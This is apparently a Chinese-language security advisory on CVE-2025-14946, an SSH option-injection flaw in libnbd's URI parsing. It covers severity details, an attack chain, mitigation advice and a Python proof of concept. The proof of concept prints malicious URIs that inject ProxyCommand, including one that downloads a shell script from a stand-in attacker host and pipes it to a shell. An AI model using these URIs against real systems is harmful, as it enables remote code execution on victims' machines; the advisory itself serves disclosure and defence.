IPBUF安全漏洞报告
English
CVE-2025-14946 CVSS 4.8 中危

CVE-2025-14946 libnbd URI处理远程代码执行漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14946
漏洞类型
命令注入/远程代码执行
CVSS评分
4.8 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
libnbd

相关标签

命令注入远程代码执行libnbdNBDSSH选项注入CVE-2025-14946Red Hatlibguestfs

漏洞概述

CVE-2025-14946是libnbd库中的一个安全漏洞,CVSS评分4.8(中危)。该漏洞由于libnbd在处理Uniform Resource Identifier (URI)时存在缺陷,恶意攻击者可以构造包含特殊主机名的URI来利用此漏洞。具体而言,当主机名以'-o'开头时,libnbd会错误地将其解释为SSH进程的参数而非主机名,这可能导致在目标系统上执行任意代码。攻击成功的前提是用户运行libnbd并打开攻击者提供的恶意URI。由于该漏洞需要用户交互(UI:R)且攻击向量为本地(AV:L),因此主要影响场景为本地用户通过libnbd工具访问不可信来源的NBD(Network Block Device)服务器。该漏洞由Red Hat安全团队发现并报告。

技术细节

libnbd是一个用于访问NBD(Network Block Device)服务器的库,支持通过URI进行连接。在URI处理逻辑中,当解析主机名时,程序未正确验证主机名字符串的边界。具体漏洞原理如下:1) libnbd使用libxml2解析URI;2) 解析后的主机名被直接传递给SSH命令执行;3) 当主机名以'-o'开头时(如-o ProxyCommand=...),SSH会将其识别为选项参数而非主机名;4) 攻击者可构造如nbd://-oProxyCommand=id的URI,使SSH执行任意命令。攻击利用的是SSH命令参数注入技术,通过在URI中嵌入SSH选项来实现命令执行。由于libnbd在构建SSH进程参数时未对主机名进行安全过滤,导致攻击者可以注入恶意SSH选项参数。

攻击链分析

STEP 1
步骤1
攻击者创建包含特殊构造的URI,主机名以'-o'开头(如-oProxyCommand=id)
STEP 2
步骤2
诱骗目标用户使用libnbd打开该恶意URI(通过nbd_get_error()或nbd_connect_uri()等API)
STEP 3
步骤3
libnbd使用libxml2解析URI,提取出以'-o'开头的主机名
STEP 4
步骤4
libnbd将解析后的主机名直接传递给SSH命令构建函数,未进行安全验证
STEP 5
步骤5
SSH进程启动时将'-o'开头的参数识别为选项而非主机名,执行注入的SSH选项
STEP 6
步骤6
通过SSH ProxyCommand等选项实现任意命令执行,如反弹shell或读取敏感文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14946 PoC - libnbd URI处理命令注入 # 构造恶意URI触发SSH选项注入 import subprocess import sys # 恶意URI示例 - 主机名以'-o'开头注入SSH选项 malicious_uri = "nbd://-oProxyCommand=id>/tmp/pwned localhost" print(f"[*] CVE-2025-14946 PoC") print(f"[*] Malicious URI: {malicious_uri}") print(f"[*] This URI exploits the SSH option injection in libnbd") print() # 模拟libnbd的URI解析和SSH命令构建过程 # 实际攻击时需要使用libnbd的nbd_get_error()或类似API def simulate_libnbd_uri_parsing(uri): """ Simulate how libnbd parses URI and builds SSH command. The vulnerability is that hostnames starting with '-o' are passed directly to SSH as options instead of being treated as hostname. """ print(f"[+] Parsing URI: {uri}") # Simplified parsing - in reality uses libxml2 if uri.startswith("nbd://"): host_part = uri[6:].split('/')[0] print(f"[+] Extracted host: {host_part}") # VULNERABLE: No validation of host starting with '-' if host_part.startswith('-o'): print(f"[!] WARNING: Host starts with '-o' - will be interpreted as SSH option!") # Simulating SSH command construction ssh_cmd = ['ssh', host_part, 'nbd-server-read-only'] print(f"[+] Constructed SSH command: {' '.join(ssh_cmd)}") print(f"[!] The '-oProxyCommand=...' will be treated as SSH option!") return ssh_cmd return None # 执行PoC ssh_cmd = simulate_libnbd_uri_parsing(malicious_uri) if ssh_cmd: print() print("[*] To exploit, attacker would run:") print(f"[*] nbdkit -r nbd {malicious_uri}") print("[*] Or use libnbd API to connect to this malicious URI") print() print("[+] Example: nbd://-oProxyCommand=curl${IFS}attacker.com/shell.sh|[email protected]/")

影响范围

libnbd < 1.24.1

防御指南

临时缓解措施
在官方修复发布前,应避免使用libnbd打开来源不可信的URI链接,特别是避免通过libnbd访问第三方NBD服务器。对于必须使用libnbd的场景,应严格限制可访问的URI来源,确保不包含特殊构造的主机名。可考虑在应用层实施额外的URI验证逻辑,拒绝包含以'-'开头主机名的连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表